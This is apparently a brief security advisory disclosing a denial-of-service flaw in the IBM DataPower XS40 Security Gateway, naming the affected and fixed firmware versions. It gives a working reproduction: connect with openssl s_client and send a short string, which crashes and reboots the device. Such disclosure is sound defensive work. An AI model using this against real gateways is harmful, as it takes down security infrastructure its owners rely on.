It appears it is possible to crash the IBM DataPower XS40 Security Gateway device by sending a simple (random?) string to it, over an established SSL-connection. The device reboots as a response to the input.

Tested vulnerable firmware is 3.6.1.5
Issue fixed as tested in 3.6.1.12

Tested as follows (entered attack-string is =B4abc=B4 in this case):
openssl s_client -connect [IP]:[port]
Loading 'screen' into random state - done
CONNECTED(0000078C)
..
---
abc [enter][enter]

read:errno=0

After this, the device crashes and reboots